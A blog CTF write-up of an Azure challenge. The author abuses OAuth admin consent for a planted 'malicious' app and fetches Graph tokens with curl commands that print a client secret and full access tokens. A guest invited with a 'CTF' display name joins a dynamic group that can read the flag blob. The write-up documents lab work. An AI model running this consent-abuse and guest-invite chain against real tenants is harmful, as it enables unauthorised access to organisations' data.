Table of Contents

Introduction

I’ve been a bit busy the last month or two, so have fallen slightly behind on the writeups. October challenge has come out and has now been solved. This is the August writeup, and I hope to follow rather quickly with September :)

A slight precursor to this one, it’s Azure, which is an area I’m not that familiar in. It has always been one of the areas I’ve avoided. So for this one, instead of spending ages going through Microsoft’s docs on how to do certain things, I tried directing AI on the high-level steps hoping it would give me the correct low-level steps. As I know how tech itself works, I just don’t know the specific implementation details for Azure. It mostly worked, if it hadn’t been for Microsoft not handling my custom domain emails properly, there was a decent chance I’d have still got first place 😂

Breaking The Barriers

Starting off, the challenge description is:

As an APT group targeting Azure, you've discovered a web app that creates admin users, but they are heavily restricted. To gain initial access, you've created a malicious OAuth app in your tenant and now seek to deploy it into the victim's tenant. Can you bypass the restrictions and capture the flag?

The shell environment has been preloaded with your malicious OAuth app credentials and the target web app endpoint as environment variables. Use 'env | grep AZURE' or 'echo $WEB_APP_ENDPOINT' to view them.

Good luck!

Within the terminal:

==========================================
Azure credentials have been preloaded as environment variables:
  - $AZURE_CLIENT_ID
  - $AZURE_CLIENT_SECRET
  - $AZURE_TENANT_ID
  - $WEB_APP_ENDPOINT

You can use these directly with Azure CLI or in your scripts.
==========================================

Azure CLI is installed. Your malicious OAuth app credentials and the target web app endpoint are preloaded as environment variables for your convenience.

So immediate thoughts, if there is a malicious OAuth app, then I wonder if I somehow need to have an identity from the target tenant authenticate to it. When you consent applications through OAuth, you are effectively granting that app certain permissions from your own set of permissions. Let’s investigate the web application first.

user@monthly-challenge:~$ echo $WEB_APP_ENDPOINT
https://app-admin-dpbug0fqb4gea3a6.z01.azurefd.net/

Exposed Web Application

OK, looks like we can create administrative users. Let’s try making one.

Creation of admin user

Nice, and it appears to make it within a tenant. I assume based on the fact it’s got that @azurectfchallengegame.com suffix.

OK, so if this is an admin user. Could I authenticate with the OAuth app with that? How do I do that? To ChatGPT. To save you reading through a ton of AI slop, and me constantly redirecting it to where I need it to operate (the amount of times it tried to take me in a direction I knew would not work… ), I’ll just post the relevant bits here.

So to start off, I tried giving it all I had and asked it how I can get a user from the tenant and the web app to authenticate to OAuth. Skimming the responses, most of them I didn’t think would work, but one did catch my eye.

ChatGPT suggesting an OAuth URL

That looks like it might work. Let’s try it. Now me being lazy, instead of substituting the correct values into that… let’s get AI to do it….

ChatGPT populating the URL with parameters

That seems like it might work. Opening an incognito tab, opening that link and trying to login with our new admin creds… leads to an error…

First login error

Back to ChatGPT.

ChatGPT OAuth diagnosis and suggestions

OK, that seems reasonable… and we do get further. So after making that change and using that new link we now get permissions requested. Excellent.

OAuth Permission Request

So note for later, the permissions we would gain into the target tenant that are likely to contribute to later steps:

  • Read access to groups
  • Inviting guest users to the organisation

Let’s accept that and carry on.

Another login error

Hmm… weird.

More ChatGPT doctoring

Oh ok. That makes sense, so not interactive login, but login through another form.

Following the admin consent link, we end up setting up MFA for our admin account, and then… through the same OAuth approval flow…

More login errors

So that suggests that we don’t have the correct callback. I wonder if there is a way to figure it out. Spending some time with ChatGPT, I don’t see a viable solution for it. At this point it suggests that it might already be approved silently in the background, and I might be able to use the Azure credentials in the terminal to request a token.

Yet another ChatGPT… does anyone actually see these?

Trying it, and it worked. Woo.

user@monthly-challenge:~$ curl -X POST \
  -d "client_id=f83cb3d7-47de-4154-be65-c85d697cdfd3" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "grant_type=client_credentials" \
  -d "client_secret=yx68Q~II4GTgTEyh1NyDxBh73X0YZwQhxWDdfaIc" \
  https://login.microsoftonline.com/967a4bc4-782a-492d-a5d5-afe8a7550b5f/oauth2/v2.0/token
{"token_type":"Bearer","expires_in":3599,"ext_expires_in":3599,"access_token":"eyJ0eXAiOiJKV1QiLCJub25jZSI6InBTRG9jQnE2VUlRZkRReE1ha3p2eEFGV3FUV2JUcDFIcFp5SkY5cXBQWjQiLCJhbGciOiJSUzI1NiIsIng1dCI6InlFVXdtWFdMMTA3Q2MtN1FaMldTYmVPYjNzUSIsImtpZCI6InlFVXdtWFdMMTA3Q2MtN1FaMldTYmVPYjNzUSJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85NjdhNGJjNC03ODJhLTQ5MmQtYTVkNS1hZmU4YTc1NTBiNWYvIiwiaWF0IjoxNzYxNjA0Nzc0LCJuYmYiOjE3NjE2MDQ3NzQsImV4cCI6MTc2MTYwODY3NCwiYWlvIjoiazJKZ1lHQVZqREdRbVhwY2ZKSEN4c1M3OTVldEJ3QT0iLCJhcHBfZGlzcGxheW5hbWUiOiJtYWxpY2lvdXMtb2F1dGgtYXBwIiwiYXBwaWQiOiJmODNjYjNkNy00N2RlLTQxNTQtYmU2NS1jODVkNjk3Y2RmZDMiLCJhcHBpZGFjciI6IjEiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC85NjdhNGJjNC03ODJhLTQ5MmQtYTVkNS1hZmU4YTc1NTBiNWYvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiJhMDk4NzkwMC0yOTA5LTQ2NGQtYWRkMi0yZDI2MDA0NjU1NDUiLCJyaCI6IjEuQVc4QnhFdDZsaXA0TFVtbDFhX29wMVVMWHdNQUFBQUFBQUFBd0FBQUFBQUFBQUJ3QVFCdkFRLiIsInN1YiI6ImEwOTg3OTAwLTI5MDktNDY0ZC1hZGQyLTJkMjYwMDQ2NTU0NSIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJOQSIsInRpZCI6Ijk2N2E0YmM0LTc4MmEtNDkyZC1hNWQ1LWFmZThhNzU1MGI1ZiIsInV0aSI6ImctdkdyMkFQNjBTa1QwRTJmbDd3QUEiLCJ2ZXIiOiIxLjAiLCJ3aWRzIjpbIjA5OTdhMWQwLTBkMWQtNGFjYi1iNDA4LWQ1Y2E3MzEyMWU5MCJdLCJ4bXNfYWNkIjoxNzUzOTcxOTM3LCJ4bXNfYWN0X2ZjdCI6IjMgOSIsInhtc19mdGQiOiJYa2pJSVdfalJ5aW14bHQtaXlsREtzdFd6cmIzU3RwNVkxNTU1ZEx5QXFNQmRYTjNaWE4wTXkxa2MyMXoiLCJ4bXNfaWRyZWwiOiI3IDYiLCJ4bXNfcmQiOiIwLjQyTGpZQkppZXM4a0pNTEJMaVFRVnk3Ym1WaHkwSHY1YnBhZ1NWdVZzb0NpbkVJQ0w5aU9NX3lSMi1qUi1LRGF0TVkxZnl0UWxFTklnSmtCQWc1QWFRQSIsInhtc19zdWJfZmN0IjoiMyA5IiwieG1zX3RjZHQiOjE3MzY5OTE3NzgsInhtc190bnRfZmN0IjoiOCAzIn0.ryharIuymKr2wQub2TZvnQF_lu4SsGynlJbIpXg5Xm_iPJREerw-x5JmPSOe1wO0ADEuU07WwY94fZriAuH1fAHbEgpAHpMrwBGXiZ0cCkV8praV7cQbXLBqsPHTFCEDxnQbrEJv72HptQyh2DxoJJChVONUss1w0x_m2Fy77BxUWW6pEk_xI8VUffhXuBjSS6klARpHrvDzyZNSct54pwHw6wG5NiGrJ47gnZpkyGnnPnColSE40Rch6ua5QdNE_YHNLMQtmHGH12j-ESaz8LBz_5MZ1MRt1sqFtMY2_-h0z3T-0KU7c10XeNiHHWDFpqjb7hJxtZKtPEDQBIqcQQ"}

We now have an access token that we can use to query the target tenant. From earlier, we know that our target is probably to read groups. No idea how to do that, luckily ChatGPT has me covered and provides me the command curl -s -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/groups.

user@monthly-challenge:~$ curl -s -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/groups
{"error":{"code":"Authorization_RequestDenied","message":"Insufficient privileges to complete the operation.","innerError":{"date":"2025-10-27T22:47:06","request-id":"85587b6a-19d5-47ae-a6ad-b92b04350244","client-request-id":"85587b6a-19d5-47ae-a6ad-b92b04350244"}}}

A quick check of the tid in the JWT suggests I am still in the malicious tenant.

Another ChatGPT… I don’t think they do

It does however suggest an immediate fix for it. Basically changing the previous command to actually specify the target tenant in the path. sighs

user@monthly-challenge:~$ curl -s -X POST \
  -d "client_id=f83cb3d7-47de-4154-be65-c85d697cdfd3" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "grant_type=client_credentials" \
  -d "client_secret=yx68Q~II4GTgTEyh1NyDxBh73X0YZwQhxWDdfaIc" \
  https://login.microsoftonline.com/d26f353d-c564-48e7-b26f-aa48c6eecd58/oauth2/v2.0/token
{"token_type":"Bearer","expires_in":3599,"ext_expires_in":3599,"access_token":"eyJ0eXAiOiJKV1QiLCJub25jZSI6IlVkeDRCNWhISm1xN09jMnh6bFIzZ0JLY2xRM3MtWDFWYWpRS28xS05KQlUiLCJhbGciOiJSUzI1NiIsIng1dCI6InlFVXdtWFdMMTA3Q2MtN1FaMldTYmVPYjNzUSIsImtpZCI6InlFVXdtWFdMMTA3Q2MtN1FaMldTYmVPYjNzUSJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9kMjZmMzUzZC1jNTY0LTQ4ZTctYjI2Zi1hYTQ4YzZlZWNkNTgvIiwiaWF0IjoxNzYxNjA1MTcyLCJuYmYiOjE3NjE2MDUxNzIsImV4cCI6MTc2MTYwOTA3MiwiYWlvIjoiazJKZ1lGamN5Qld5dmlPdi85eDZnL3EraVZMNUFBPT0iLCJhcHBfZGlzcGxheW5hbWUiOiJtYWxpY2lvdXMtb2F1dGgtYXBwIiwiYXBwaWQiOiJmODNjYjNkNy00N2RlLTQxNTQtYmU2NS1jODVkNjk3Y2RmZDMiLCJhcHBpZGFjciI6IjEiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9kMjZmMzUzZC1jNTY0LTQ4ZTctYjI2Zi1hYTQ4YzZlZWNkNTgvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiI5OTY2NzdmOC02OWYxLTQxNzEtYmUwMC0yMDdmM2UwNWZhZWMiLCJyaCI6IjEuQWE0QVBUVnYwbVRGNTBpeWI2cEl4dTdOV0FNQUFBQUFBQUFBd0FBQUFBQUFBQUE3QVFDdUFBLiIsInJvbGVzIjpbIkdyb3VwLlJlYWQuQWxsIiwiVXNlci5JbnZpdGUuQWxsIl0sInN1YiI6Ijk5NjY3N2Y4LTY5ZjEtNDE3MS1iZTAwLTIwN2YzZTA1ZmFlYyIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJFVSIsInRpZCI6ImQyNmYzNTNkLWM1NjQtNDhlNy1iMjZmLWFhNDhjNmVlY2Q1OCIsInV0aSI6IjgxZkY1cGVfMTBPTnIxZm9QejRGQUEiLCJ2ZXIiOiIxLjAiLCJ3aWRzIjpbIjA5OTdhMWQwLTBkMWQtNGFjYi1iNDA4LWQ1Y2E3MzEyMWU5MCJdLCJ4bXNfYWNkIjoxNzUzOTcxOTM3LCJ4bXNfYWN0X2ZjdCI6IjMgOSIsInhtc19mdGQiOiJka0ljSlFVUGRHQ1pCc25ZWFM1SEFMQlg2ZVBMc21ZTmI4Q1dhRWpxV0ZZQmMzZGxaR1Z1WXkxa2MyMXoiLCJ4bXNfaWRyZWwiOiI3IDQiLCJ4bXNfcmQiOiIwLjQtTGdZQkppV2NmNG5rbEloSU5WU09DSWQ5VTByUXBkejZWWDE3OVlIc29kRHhSbEZ4S0lLNWZ0VEN3NTZMMThOMHZRcEsxS1dVQlJUaUdCbGUtX1hzaTE5dk9jSDhyZExubHJydzVRbEVOSWdKa0JBZzVBYVFBIiwieG1zX3N1Yl9mY3QiOiI5IDMiLCJ4bXNfdGNkdCI6MTc1NTU5NjU5NCwieG1zX3RudF9mY3QiOiIzIDE0In0.OgMSIwc71y0llh9xXI8Q_6p6NjbHH6sRaQXqFwi8uboTHOfyU5IVfWPLKQVaICLzZBRxD8bUVPQahAFAoWQRig-Gptgcv3L0TfUdPRFjbQOnhl01N_39_4jR4AdvTgJ4auNkb7FQLkKRt58IIgSKSKEagMv3cfQ4ftIbj-JzLwFAkdVsna3yFUYxz5pTBtEVP5I2Qeax9lZKvo7332Z3bnOgfT5BNTguh6U0LbANkjeV7W71mSrvkM1OXNMT78F1iEEUKxZCwjXV_FIJR82yEILVRnnOnRMHvRqSbh9-dtG-DQkdFa-BqYbIUSSCIaJ-nR4vOX0bVg6UEx0pYzrb0Q"}

The tid for this one looks to be correct, we are in the target tenant :D Let’s try again with groups.

user@monthly-challenge:~$ curl -s -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/groups | jq 
{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#groups",
  "value": [
    [..SNIP..]
    {
      "id": "7d060bb7-75e4-456e-b46f-382f4ff0c4fd",
      "deletedDateTime": null,
      "classification": null,
      "createdDateTime": "2025-08-19T14:16:41Z",
      "creationOptions": [],
      "description": "Users assigned access to flag",
      "displayName": "Users assigned access to flag",
      "expirationDateTime": null,
      "groupTypes": [
        "DynamicMembership"
      ],
      "isAssignableToRole": null,
      "mail": null,
      "mailEnabled": false,
      "mailNickname": "44a9daaf-2",
      "membershipRule": "(user.department -eq \"Finance\") and (user.jobTitle -eq \"Manager\") or (user.displayName -startsWith \"CTF\") and (user.userType -eq \"Guest\") or (user.city -eq \"Seattle\")",
      "membershipRuleProcessingState": "On",
      "onPremisesDomainName": null,
      "onPremisesLastSyncDateTime": null,
      "onPremisesNetBiosName": null,
      "onPremisesSamAccountName": null,
      "onPremisesSecurityIdentifier": null,
      "onPremisesSyncEnabled": null,
      "preferredDataLocation": null,
      "preferredLanguage": null,
      "proxyAddresses": [],
      "renewedDateTime": "2025-08-19T14:16:41Z",
      "resourceBehaviorOptions": [],
      "resourceProvisioningOptions": [],
      "securityEnabled": true,
      "securityIdentifier": "S-1-12-1-2097548215-1164867044-792227764-4257542223",
      "theme": null,
      "uniqueName": null,
      "visibility": null,
      "onPremisesProvisioningErrors": [],
      "serviceProvisioningErrors": []
    },
    [..SNIP..]
  ]
}

Well, this group looks super useful. Now we need to find our way into that group. I guess this is why we have the inviting guests. Now I know a bit about dynamic groups from Christian Philipov when he’s explained them to me in the past. (He’s pretty awesome at Azure / Entra, would definitely recommend looking at his stuff) I bet this is that, and one of those conditions looks to be that if I have a guest user that starts with CTF, then its part of this.

After a while fighting ChatGPT that insisted that if I fetched more details about this group, I would get the flag - even when I repeatedly showed it I wouldn’t… I eventually got it to show me how to invite a user. Although… that didn’t stop it once again suggesting it’ll be in the groups endpoint…

How to invite users

While I would get errors using the example.com email domain, I did get a successful response when using a test user from the skybound.link domain.

user@monthly-challenge:~$ curl -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{ "invitedUserEmailAddress": "wizazure@skybound.link", "inviteRedirectUrl": "https://example.com", "sendInvitationMessage": false, "invitedUserDisplayName": "CTF_FlagUser" }' https://graph.microsoft.com/v1.0/invitations
{"@odata.context":"https://graph.microsoft.com/v1.0/$metadata#invitations/$entity","id":"ac332e66-60e7-471e-8613-1cd3818329c5","inviteRedeemUrl":"https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%2f%3ftenant%3dd26f353d-c564-48e7-b26f-aa48c6eecd58%26user%3dac332e66-60e7-471e-8613-1cd3818329c5%26ticket%3dftJ1bBPNHbV123DVsw5h0%25252bJiYHBFG8ge5gKVSAl5Yeg%25253d%26ver%3d2.0","invitedUserDisplayName":"CTF_FlagUser","invitedUserType":"Guest","invitedUserEmailAddress":"wizazure@skybound.link","sendInvitationMessage":false,"resetRedemption":false,"inviteRedirectUrl":"https://example.com/","status":"PendingAcceptance","invitedUserMessageInfo":{"messageLanguage":null,"customizedMessageBody":null,"ccRecipients":[{"emailAddress":{"name":null,"address":null}}]},"invitedUser":{"id":"20a83a9c-fd96-4c48-aa48-38322c9dded5","userPrincipalName":"wizazure_skybound.link#EXT#@wizctfchallenge.onmicrosoft.com"}}

At this point started a massive struggle in actually logging in with this guest user. When going to the inviteRedeemUrl from the response, I get an invite code in the email, but nowhere to put it. ChatGPT suggested an API call that required a password with the access code… a password I never set. Attempting to login to Microsoft with my email would always result in errors like the email doesn’t exist, etc.

After a long time, I think… what if its my domain… and create a testing hotmail account. Invite it, accept the invite.. and we’re redirected to https://example.com - the redirect URL we set…

user@monthly-challenge:~$ curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
  "invitedUserEmailAddress": "skyboundwiz@hotmail.com",                
  "inviteRedirectUrl": "https://example.com",
  "sendInvitationMessage": false,
  "invitedUserDisplayName": "CTF_FlagUserSkybound"
}' \
https://graph.microsoft.com/v1.0/invitations
{"@odata.context":"https://graph.microsoft.com/v1.0/$metadata#invitations/$entity","id":"a6fb2774-be39-4d4a-8676-081535e5b118","inviteRedeemUrl":"https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%2f%3ftenant%3dd26f353d-c564-48e7-b26f-aa48c6eecd58%26user%3da6fb2774-be39-4d4a-8676-081535e5b118%26ticket%3d1dy3fijtbeyHd2yw2C0h%25252bAB%25252b2hsdDcBEP9hxae4ugzw%25253d%26ver%3d2.0","invitedUserDisplayName":"CTF_FlagUserSkybound","invitedUserType":"Guest","invitedUserEmailAddress":"skyboundwiz@hotmail.com","sendInvitationMessage":false,"resetRedemption":false,"inviteRedirectUrl":"https://example.com/","status":"PendingAcceptance","invitedUserMessageInfo":{"messageLanguage":null,"customizedMessageBody":null,"ccRecipients":[{"emailAddress":{"name":null,"address":null}}]},"invitedUser":{"id":"e7924535-044f-4bfb-8ad9-00580fee32e4","userPrincipalName":"skyboundwiz_hotmail.com#EXT#@wizctfchallenge.onmicrosoft.com"}}

Trying to login to myapps.microsoft.com (a standard place organisations tend to put applications users can access, and the defacto place I go to for testing Microsoft credentials).

Login to My Apps

We’re getting close.

Clicking the application, we get sent to https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt - where we have a fun error message.

<Error>
<Code>PublicAccessNotPermitted</Code>
<Message>Public access is not permitted on this storage account. RequestId:24c58879-901e-0075-1d97-47e9bd000000 Time:2025-10-27T23:16:36.2520824Z</Message>
</Error>

Gah! I wonder if the terminal we have is on an “internal network” that has access. Time to figure out how to make this request via CLI. I guess first steps would be to az login.

user@monthly-challenge:~$ az login

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code EMEB3GBEF to authenticate.

Retrieving tenants and subscriptions for the selection...

[Tenant and subscription selection]

No     Subscription name    Subscription ID                       Tenant
-----  -------------------  ------------------------------------  -----------------
[1] *  Test Group           5dcc0e04-85ce-46dd-83c5-7703bb165aaf  Wiz CTF Challenge

The default is marked with an *; the default tenant is 'Wiz CTF Challenge' and subscription is 'Test Group' (5dcc0e04-85ce-46dd-83c5-7703bb165aaf).

Select a subscription and tenant (Type a number or Enter for no changes): 
Tenant: Wiz CTF Challenge
Subscription: Test Group (5dcc0e04-85ce-46dd-83c5-7703bb165aaf)

[Announcements]
With the new Azure CLI login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271236

If you encounter any problem, please open an issue at https://aka.ms/azclibug

[Warning] The login output has been updated. Please be aware that it no longer displays the full list of available subscriptions by default.

Now…. what to do…

ChatGPT showing me how to aws s3 cp

Thanks ChatGPT.

user@monthly-challenge:~$ az storage blob download \
    --container-name grab-the-flag \
    --name ctf_flag.txt \
    --file ctf_flag.txt \
    --account-name azurechallengectfflag \
    --auth-mode login

Finished[#############################################################]  100.0000%
[..SNIP..]
user@monthly-challenge:~$ cat ctf_flag.txt 
WIZ_CTF{EntraID_Sensitive_Privileges_Breaking_Barriers}

That is challenge 3 complete! I really hope there are no more Azure challenges.